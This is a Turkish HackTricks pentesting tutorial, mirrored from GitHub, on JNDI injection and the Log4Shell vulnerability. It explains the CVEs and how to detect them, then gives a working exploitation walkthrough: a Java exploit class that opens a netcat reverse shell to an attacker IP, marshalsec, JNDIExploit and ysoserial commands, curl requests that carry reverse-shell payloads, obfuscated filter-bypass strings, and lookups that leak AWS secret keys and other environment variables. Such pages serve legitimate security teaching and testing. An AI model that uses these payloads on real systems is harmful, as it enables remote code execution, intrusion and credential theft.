Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-17 06:28:27 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md

33 KiB
Raw Blame History

JNDI - Java Naming and Directory Interface & Log4Shell

AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Try Hard Güvenlik Grubu

{% embed url="https://discord.gg/tryhardsecurity" %}

Temel Bilgiler

JNDI, 1990'ların sonlarından beri Java'ya entegre edilmiş olup bir dizin hizmeti olarak hizmet verir, Java programlarının veri veya nesneleri bir isimlendirme sistemi aracılığıyla bulmasını sağlar. SPI'lar (Hizmet Sağlayıcı Arabirimleri) aracılığıyla çeşitli dizin hizmetlerini destekler ve uzak Java nesneleri de dahil olmak üzere farklı sistemlerden veri alınmasına izin verir. Ortak SPI'lar arasında CORBA COS, Java RMI Kayıt Defteri ve LDAP bulunur.

JNDI İsimlendirme Referansı

Java nesneleri, iki şekilde kullanılarak JNDI İsimlendirme Referansları kullanılarak depolanabilir ve alınabilir:

  • Referans Adresleri: Bir nesnenin konumunu belirtir (örneğin, rmi://sunucu/ref), belirtilen adresten doğrudan alınmasına izin verir.
  • Uzak Fabrika: Uzak bir fabrika sınıfına referans verir. Erişildiğinde, sınıf uzak konumdan indirilir ve örneklenir.

Ancak, bu mekanizma kötüye kullanılabilir ve potansiyel olarak keyfi kod yüklenmesine ve yürütülmesine yol açabilir. Bir karşı önlem olarak:

  • RMI: JDK 7u21'den itibaren varsayılan olarak java.rmi.server.useCodeabseOnly = true, uzak nesne yüklemeyi kısıtlar. Bir Güvenlik Yöneticisi, neyin yüklenebileceğini daha da sınırlar.
  • LDAP: JDK 6u141, 7u131, 8u121'den itibaren varsayılan olarak com.sun.jndi.ldap.object.trustURLCodebase = false, uzaktan yüklenen Java nesnelerinin yürütülmesini engeller. true olarak ayarlanırsa, Güvenlik Yöneticisinin denetimine gerek olmaksızın uzaktan kod yürütme mümkündür.
  • CORBA: Belirli bir özelliği olmasa da, Güvenlik Yöneticisi her zaman etkindir.

Ancak, JNDI bağlantılarını çözen İsimlendirme Yöneticisi içinde yerleşik güvenlik mekanizmaları bulunmamaktadır, bu da herhangi bir kaynaktan nesnelerin alınmasına izin verebilir. Bu durum, RMI, LDAP ve CORBA korumalarının atlatılmasına ve keyfi Java nesnelerinin yüklenmesine veya mevcut uygulama bileşenlerinin (gadget'lar) kötü amaçlı kod çalıştırmaya yönlendirilmesine neden olabilir.

Sömürülebilir URL örnekleri şunları içerir:

  • rmi://saldırgan-sunucu/bar
  • ldap://saldırgan-sunucu/bar
  • iiop://saldırgan-sunucu/bar

Koruma önlemlerine rağmen, güvenlik açıkları, güvenilmeyen kaynaklardan JNDI'nin yüklenmesine karşı koruma olmaması ve mevcut korumaların atlatılma olasılığı nedeniyle genellikle devam etmektedir.

JNDI Örneği

PROVIDER_URL ayarlamış olsanız bile, bir arama yaparken farklı bir URL belirtebilir ve erişilebilir: ctx.lookup("<saldırgan-kontrollü-url>") ve bu, bir saldırganın kendi kontrolünde olan bir sistemden keyfi nesneleri yüklemek için kötüye kullanacağı şeydir.

CORBA Genel Bakış

CORBA (Ortak Nesne İstek Broker Mimarisi), uzak nesneleri benzersiz bir şekilde tanımlamak için bir Uyumlu Nesne Referansı (IOR) kullanır. Bu referans, şunları içeren temel bilgileri içerir:

  • Tür Kimliği: Bir arayüz için benzersiz tanımlayıcı.
  • Kod Tabanı: Yer tutucu sınıfın alınması için URL.

Özellikle, CORBA temelde savunmasız değildir. Genellikle güvenliği sağlamak için:

  • Bir Güvenlik Yöneticisi kurulumu.
  • Güvenlik Yöneticisinin potansiyel olarak kötü amaçlı kod tabanlarına bağlantıları izin vermesi için yapılandırılması. Bu, şunlar aracılığıyla başarılabilir:
  • Soket izni, örneğin, permissions java.net.SocketPermission "*:1098-1099", "connect";.
  • Dosya okuma izinleri, ya evrensel olarak (permission java.io.FilePermission "<<ALL FILES>>", "read";) ya da kötü amaçlı dosyaların yerleştirilebileceği belirli dizinler için.

Ancak, bazı satıcı politikaları hoşgörülü olabilir ve bu bağlantılara varsayılan olarak izin verebilir.

RMI Bağlamı

RMI (Uzak Yöntem Çağrısı) için durum biraz farklıdır. CORBA gibi, keyfi sınıf indirme varsayılan olarak kısıtlanmıştır. RMI'yi sömürmek için genellikle Güvenlik Yöneticisini atlatmak gerekir, bu da CORBA'da da geçerlidir.

LDAP

Öncelikle, Bir Arama ile Bir Arama arasında ayrım yapmamız gerekmektedir.
Bir arama, ldap://localhost:389/o=JNDITutorial gibi bir URL kullanacaktır ve LDAP sunucusundan JNDITutorial nesnesini bulacak ve özniteliklerini alacaktır.
Bir arama, isim hizmetleri içindir çünkü bir isme bağlı olan her şeyi almak istiyoruz.

Eğer LDAP araması SearchControls.setReturningObjFlag() ile true olarak çağrıldıysa, dönen nesne yeniden oluşturulacaktır.

Bu nedenle, bu seçeneklere saldırmak için birkaç yol vardır.
Bir saldırgan, LDAP kayıtlarını zehirleyebilir ve bunlara yürütülecek yükler ekleyebilir (LDAP sunucusuna erişiminiz varsa onlar aracılığıyla onlarca makineyi tehlikeye atmak çok yararlı olabilir). Bunun başka bir yolu da örneğin bir LDAP aramasında MitM saldırısı gerçekleştirmektir.

Bir uygulamanın bir JNDI LDAP URL'sini çözmesini sağlayabilirseniz, aranacak LDAP'yi kontrol edebilir ve saldırıyı geri gönderebilirsiniz (log4shell).

Serileştirme sömürüsü

Sömürü serileştirilir ve deserialize edilecektir.
trustURLCodebase true ise, bir saldırgan kendi sınıflarını kod tabanında sağlayabilir, aksi takdirde sınıf yolundaki gadget'ları kötüye kullanması gerekecektir.

JNDI Referansı sömürüsü

Bu LDAP'ı saldırmak için JavaFactory referanslarını kullanmak daha kolaydır:

Log4Shell Zafiyeti

Zafiyet, Log4j'de tanımlanan özel bir sözdizimini desteklediği için ortaya çıkar özel bir sözdizimi ${prefix:name} şeklinde, burada prefix farklı Arama türlerinden biri olup name değerlendirilmelidir. Örneğin, ${java:version} mevcut çalışan Java sürümüdür.

LOG4J2-313 bir jndi Arama özelliği tanıttı. Bu özellik, değişkenlerin JNDI aracılığıyla alınmasını sağlar. Genellikle anahtar otomatik olarak java:comp/env/ ile öneklenir. Ancak, anahtar kendisi bir ":" içeriyorsa, bu varsayılan önek uygulanmaz.

Anahtarın içinde bir : olduğunda, ${jndi:ldap://örnek.com/a} gibi, bir önek yoktur ve LDAP sunucusu nesne için sorgulanır. Ve bu Aramalar, Log4j'nin yapılandırmasında olduğu gibi kullanılabileceği gibi, satırlar günlüğe kaydedilirken de kullanılabilir.

Bu nedenle, yalnızca bir kullanıcı tarafından kontrol edilen bilgileri işleyen Log4j'nin savunmasız bir sürümüne ihtiyaç duyulur. Ve çünkü bu, Java uygulamaları tarafından geniş çapta kullanılan bir kütüphanedir (İnternet üzerinden erişilebilen uygulamalar dahil) örneğin HTTP başlıklarının alındığı gibi log4j'nin çok yaygın olarak kullanıldığı çok yaygındı. Ancak, log4j sadece HTTP bilgilerini değil, geliştiricinin belirttiği herhangi bir girişi ve veriyi kaydetmek için kullanılmaz.

Log4Shell İlgili CVE'lerin Genel Bakışı

CVE-2021-44228 [Kritik]

Bu zafiyet, log4j-core bileşeninde kritik bir güvensiz serileştirme açığı olup, 2.0-beta9'dan 2.14.1'e kadar olan sürümleri etkilemektedir. Uzaktan kod yürütme (RCE) sağlayarak saldırganların sistemleri ele geçirmesine olanak tanır. Sorun, Alibaba Cloud Güvenlik Ekibi'nden Chen Zhaojun tarafından bildirilmiş olup çeşitli Apache çerçevelerini etkilemektedir. İlk düzeltme 2.15.0 sürümünde eksikti. Savunma için Sigma kuralları mevcuttur (Kural 1, Kural 2).

CVE-2021-45046 [Kritik]

Başlangıçta düşük derecelendirilen ancak daha sonra kritik olarak yükseltilen bu CVE, CVE-2021-44228 için 2.15.0'da eksik bir düzeltmeden kaynaklanan bir Hizmet Reddi (DoS) açığıdır. Varsayılan olmayan yapıları etkiler ve saldırganların oluşturulmuş yükler aracılığıyla DoS saldırılarına neden olmalarına izin verir. Bir tweet bir atlatma yöntemini sergilemektedir. Sorun, mesaj arama desenlerini kaldırarak ve JNDI'yi varsayılan olarak devre dışı bırakarak 2.16.0 ve 2.12.2 sürümlerinde çözülmüştür.

CVE-2021-4104 [Yüksek]

JMSAppender kullanarak varsayılan olmayan yapıları etkileyen bu CVE, güvensiz serileştirme açığıdır ve 1.x dalı için mevcut bir düzeltme bulunmamaktadır, bu dalın ömrü sona ermiştir ve log4j-core 2.17.0'a yükseltme önerilir.

CVE-2021-42550 [Orta]

Bu zafiyet, Log4j 1.x'in halefi olan Logback günlükleme çerçevesini etkilemektedir. Önceden güvenli olduğu düşünülen çerçeve, savunmasız bulunmuş ve sorunu ele almak için yeni sürümler (1.3.0-alpha11 ve 1.2.9) yayımlanmıştır.

CVE-2021-45105 [Yüksek]

Log4j 2.16.0, bir DoS açığı içermekte olup, CVE'yi düzeltmek için log4j 2.17.0 sürümünün yayınlanmasını gerektirmiştir. Daha fazla ayrıntıya BleepingComputer'ın raporunda yer almaktadır.

CVE-2021-44832

Log4j sürüm 2.17'yi etkileyen bu CVE, saldırganın log4j'in yapılandırma dosyasını kontrol etmesini gerektirir. Yapılandırılmış bir JDBCAppender aracılığıyla potansiyel keyfi kod yürütme içermektedir. Daha fazla ayrıntı Checkmarx blog gönderisinde bulunmaktadır.

Log4Shell Sömürüsü

Keşif

Bu zafiyet, korumasızsa belirttiğiniz adres için en az bir DNS isteği göndereceğinden keşfetmesi çok kolaydır. Bu nedenle, şu gibi yükler:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (canarytokens.com kullanarak)
  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (interactsh kullanarak)
  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (Burp Suite kullanarak)
  • ${jndi:ldap://2j4ayo.dnslog.cn} (dnslog kullanarak)
  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} (huntress kullanarak)

Bir DNS isteği alınsa bile uygulamanın sömürülebilir (veya hatta savunmasız) olduğu anlamına gelmez, bunu sömürmeye çalışmanız gerekecektir.

{% hint style="info" %} 2.15 sürümünü sömürmek için localhost kontrol atlatma eklemeniz gerekmektedir: ${jndi:ldap://127.0.0.1#...} {% endhint %}

Yerel Keşif

Kütüphanenin yerel savunmasız sürümlerini aramak için:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Doğrulama

Önceki listelenen platformlardan bazıları, istendiğinde kaydedilecek bazı değişken verileri eklemenize izin verecektir.
Bu, 2 şey için çok faydalı olabilir:

  • Zafiyeti doğrulamak için
  • Zafiyeti istismar ederek bilgi dışarı çıkarmak için

Örneğin şöyle bir şey isteyebilirsiniz:
veya ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} gibi ve bir DNS isteği, ortam değişkeninin değeriyle alındığında, uygulamanın zafiyetli olduğunu bilirsiniz.

Denemeye çalışabileceğiniz diğer bilgiler:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE Bilgisi

{% hint style="info" %} JDK sürümleri 6u141'den yüksek, 7u131'den yüksek veya 8u121'den yüksek olan ana bilgisayarlar, LDAP sınıf yükleme saldırı vektörüne karşı korunmaktadır. Bu, com.sun.jndi.ldap.object.trustURLCodebase'in varsayılan olarak devre dışı bırakılmasından kaynaklanmaktadır, bu da JNDI'nin LDAP aracılığıyla uzak bir kod tabanını yüklemesini engeller. Bununla birlikte, bu sürümlerin serileştirme saldırı vektörüne karşı korunmadığını unutmamak önemlidir.

Bu daha yüksek JDK sürümlerini sömürmeyi amaçlayan saldırganlar için Java uygulaması içinde bir güvenilir cihaz kullanmak gereklidir. Bu amaçla genellikle ysoserial veya JNDIExploit gibi araçlar kullanılır. Öte yandan, daha düşük JDK sürümlerini sömürmek nispeten daha kolaydır çünkü bu sürümler, keyfi sınıfları yüklemek ve yürütmek için manipüle edilebilir.

Daha fazla bilgi için (RMI ve CORBA vektörlerindeki kısıtlamalar gibi) önceki JNDI Naming Referans bölümünü kontrol edin veya https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ adresini ziyaret edin. {% endhint %}

RCE - Özel yük ile Marshalsec

Bu işlemi THM kutusunda test edebilirsiniz: https://tryhackme.com/room/solar

marshalsec aracını kullanın (jar sürümü burada mevcuttur). Bu yaklaşım, bir LDAP yönlendirme sunucusu oluşturarak bağlantıları ikincil bir HTTP sunucusuna yönlendirir ve saldırının barındırılacağı yerdir:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Hedefi ters kabuk kodunu yüklemeye zorlamak için aşağıdaki içeriğe sahip Exploit.java adında bir Java dosyası oluşturun:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Java dosyasını bir sınıf dosyasına derlemek için şunu kullanın: javac Exploit.java -source 8 -target 8. Ardından, sınıf dosyasını içeren dizinde şu komutla bir HTTP sunucusu başlatın: python3 -m http.server. marshalsec LDAP sunucusunun bu HTTP sunucusuna referans verdiğinden emin olun.

Hassas web sunucusunda exploit sınıfının yürütülmesini tetiklemek için şu şekilde bir yük gönderin:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Not: Bu açık, Java'nın LDAP aracılığıyla uzaktan kod tabanı yükleme izin veren yapılandırmasına dayanmaktadır. Bu izin verilmiyorsa, keyfi kod yürütme için güvenilen bir sınıfı sömürmeyi düşünebilirsiniz.

RCE - JNDIExploit

{% hint style="info" %} Bazı nedenlerden dolayı yazar, log4shell keşfinden sonra bu projeyi github'dan kaldırmıştır. Bir önbelleklenmiş sürümü https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 adresinde bulabilirsiniz ancak yazarın kararına saygı duymak isterseniz bu zafiyeti sömürmek için farklı bir yöntem kullanın.

Ayrıca, kaynak kodunu wayback machine'de bulamazsınız, bu nedenle ya kaynak kodunu analiz edin ya da neyi yürüttüğünüzü bilmediğinizi bilerek jar dosyasını çalıştırın. {% endhint %}

Bu örnekte, log4shell'e karşı savunmasız web sunucusunu 8080 numaralı portta çalıştırabilirsiniz: https://github.com/christophetd/log4shell-vulnerable-app (README'de nasıl çalıştırılacağını bulabilirsiniz). Bu savunmasız uygulama, HTTP isteği başlığı X-Api-Version'ın içeriğini log4shell'in savunmasız bir sürümüyle günlüyor.

Daha sonra, JNDIExploit jar dosyasını indirip şu şekilde çalıştırabilirsiniz:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Kodları sadece birkaç dakika okuduktan sonra, com.feihong.ldap.LdapServer ve com.feihong.ldap.HTTPServer dosyalarında LDAP ve HTTP sunucularının nasıl oluşturulduğunu görebilirsiniz. LDAP sunucusu, hangi yükün hizmet edilmesi gerektiğini anlayacak ve kurbanı HTTP sunucusuna yönlendirecek, bu sunucu ise saldırıyı gerçekleştirecektir.
com.feihong.ldap.gadgets içinde kullanılabilecek bazı belirli cihazlar bulabilirsiniz (potansiyel olarak keyfi kod yürütmek için). Ve com.feihong.ldap.template içinde saldırıları oluşturacak farklı şablon sınıflarını görebilirsiniz.

Tüm mevcut saldırıları java -jar JNDIExploit-1.2-SNAPSHOT.jar -u komutu ile görebilirsiniz. Bazı faydalı olanlar:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Yani, örneğimizde zaten o docker açığı olan uygulama çalışıyor. Ona saldırmak için:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

RCE - JNDI-Exploit-Kit

Önceki saldırıya benzer şekilde, bu zafiyeti sömürmek için JNDI-Exploit-Kit'i kullanmayı deneyebilirsiniz.
Kurban'a göndermek için URL'leri oluşturabilirsiniz:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Bu saldırı, özel olarak oluşturulmuş bir java nesnesini kullanarak THM solar room gibi laboratuvarlarda çalışacaktır. Bununla birlikte, genel olarak çalışmayacaktır (çünkü Java varsayılan olarak LDAP kullanarak uzak kod tabanını yükleme şeklinde yapılandırılmamıştır) çünkü güvenilen bir sınıfı kötüye kullanarak keyfi kod yürütmüyor gibi görünüyor.

RCE - ysoserial ve JNDI-Exploit-Kit

Bu seçenek, yalnızca belirli sınıflara güvenen Java sürümlerini hedef almak için gerçekten kullanışlıdır ve herkese güvenmez. Bu nedenle, ysoserial, güvenilen sınıfların serileştirilmesini oluşturmak için kullanılacaktır ve bu, keyfi kod yürütmek için kullanılabilecek aygıtlar olarak (ysoserial tarafından kötüye kullanılan güvenilen sınıf, saldırının çalışabilmesi için kurban java programı tarafından kullanılmalıdır).

ysoserial veya ysoserial-modified kullanarak JNDI tarafından indirilecek serileştirme saldırısını oluşturabilirsiniz:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Kullanarak JNDI-Exploit-Kit’i kullanarak JNDI bağlantıları oluşturun, bu bağlantılar zafiyetli makinelerden gelen bağlantıları bekleyecektir. JNDI-Exploit-Kit tarafından otomatik olarak oluşturulan farklı exploit’ları sunabilir veya kendi deserializasyon yüklerinizi (siz veya ysoserial tarafından oluşturulan) sunabilirsiniz.

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Artık zafiyeti sömürmek ve bir ters kabuk elde etmek için oluşturulan JNDI bağlantısını kolayca kullanabilirsiniz: ${ldap://10.10.14.10:1389/generated}

Atlatmalar

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Otomatik Tarayıcılar

Test Laboratuvarları

Log4Shell Sızma Sonrası Sömürü

Bu CTF yazısı potansiyel olarak Log4J'nin bazı özelliklerinin istismar edilebileceğini iyi bir şekilde açıklıyor.

Log4j'in güvenlik sayfası ilginç cümleler içeriyor:

Java 8 için 2.16.0 sürümünden itibaren mesaj aramaları özelliği tamamen kaldırılmıştır. Yapılandırmadaki aramalar hala çalışır. Ayrıca, Log4j artık varsayılan olarak JNDI erişimini devre dışı bırakır. Yapılandırmadaki JNDI aramalarının açık olması gerekir.

2.17.0 sürümünden itibaren (ve Java 7 ve Java 6 için 2.12.3 ve 2.3.1), yapılandırmadaki yalnızca arama dizeleri özyinelemeli olarak genişletilir; diğer herhangi bir kullanımda, yalnızca üst düzey arama çözülür ve herhangi bir iç içe arama çözülmez.

Bu, varsayılan olarak herhangi bir jndi istismarını kullanamayacağınızı gösterir. Dahası, özyinelemeli aramaları gerçekleştirmek için bunları yapılandırmanız gerekir.

Örneğin, bu CTF'de log4j2.xml dosyasında şu şekilde yapılandırılmıştı:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Ortam Aramaları

Bu CTF sırasında saldırgan ${sys:cmd} değerini kontrol ediyordu ve bayrağı bir ortam değişkeninden dışarı çıkarması gerekiyordu.
Bu sayfada önceki yüklerde görüldüğü gibi, ${env:FLAG} gibi farklı yollarla ortam değişkenlerine erişmek mümkündür. Bu CTF'de bu işe yaramadı ancak diğer gerçek senaryolarda işe yarayabilir.

İstisnalarda Dışarı Çıkarma

CTF'de, log4J kullanarak java uygulamasının stderr'ına erişilemiyordu, ancak Log4J istisnaları stdout'a gönderiliyordu, bu da python uygulamasında yazdırılıyordu. Bu, bir istisna tetikleyerek içeriğe erişebileceğimiz anlamına geliyordu. Bayrağı dışarı çıkarmak için bir istisna: ${java:${env:FLAG}}. Bu, ${java:CTF{blahblah}} mevcut olmadığı için çalışır ve bayrağın değeriyle bir istisna gösterilir:

Dönüşüm Desenleri İstisnaları

Sadece belirtmek gerekirse, yeni dönüşüm desenleri enjekte edebilir ve stdout'a kaydedilen istisnaları tetikleyebilirsiniz. Örneğin:

Bu, hata mesajı içindeki tarihi dışarı çıkarmak için yararlı bulunmadı, çünkü arama, dönüşüm deseninden önce çözülmedi, ancak algılama gibi diğer şeyler için yararlı olabilir.

Dönüşüm Desenleri Regexler

Ancak, bazı regexleri destekleyen dönüşüm desenleri kullanarak, binary search veya zamana dayalı davranışları kötüye kullanarak bir aramadan bilgi dışarı çıkarmak mümkündür.

  • İstisna mesajları aracılığıyla binary arama

Dönüşüm deseni %replace, regexleri kullanarak bir dizgeden içeriği değiştirmeyi sağlar. Şöyle çalışır: replace{pattern}{regex}{substitution}
Bu davranışı kötüye kullanarak, eğer regex, dize içinde herhangi bir şeyi eşleşirse bir istisna tetikleyebilirsiniz (eğer bulunamazsa istisna olmaz) şu şekilde:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Zamana bağlı

Önceki bölümde belirtildiği gibi %replace, regexleri destekler. Bu nedenle, bayrağın bulunduğu durumda bir zaman aşımı oluşturmak için ReDoS sayfasından bir yükleme kullanmak mümkündür.
Örneğin, %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} gibi bir yükleme, o CTF'de bir zaman aşımı tetikleyecektir.

Bu yazıda, bir ReDoS saldırısı yerine yanıtta bir zaman farkı oluşturmak için bir amplifikasyon saldırısı kullanıldı:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Eğer bayrak flagGuess ile başlıyorsa, tüm bayrak 29 # ile değiştirilir (Bu karakteri kullandım çünkü muhtemelen bayrağın bir parçası olmayacaktır). Sonuç olarak elde edilen 29 #'den her biri ardışık olarak 54 # ile değiştirilir. Bu işlem 6 kez tekrarlanır, toplamda 29*54*54^6* =`` ``96816014208 # oluşur!

Bu kadar çok #'nin değiştirilmesi, Flask uygulamasının 10 saniyelik zaman aşımını tetikleyecek ve bunun sonucunda kullanıcıya HTTP durum kodu 500 gönderilecektir. (Eğer bayrak flagGuess ile başlamıyorsa, 500 olmayan bir durum kodu alacağız)

Referanslar

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'i desteklemenin diğer yolları: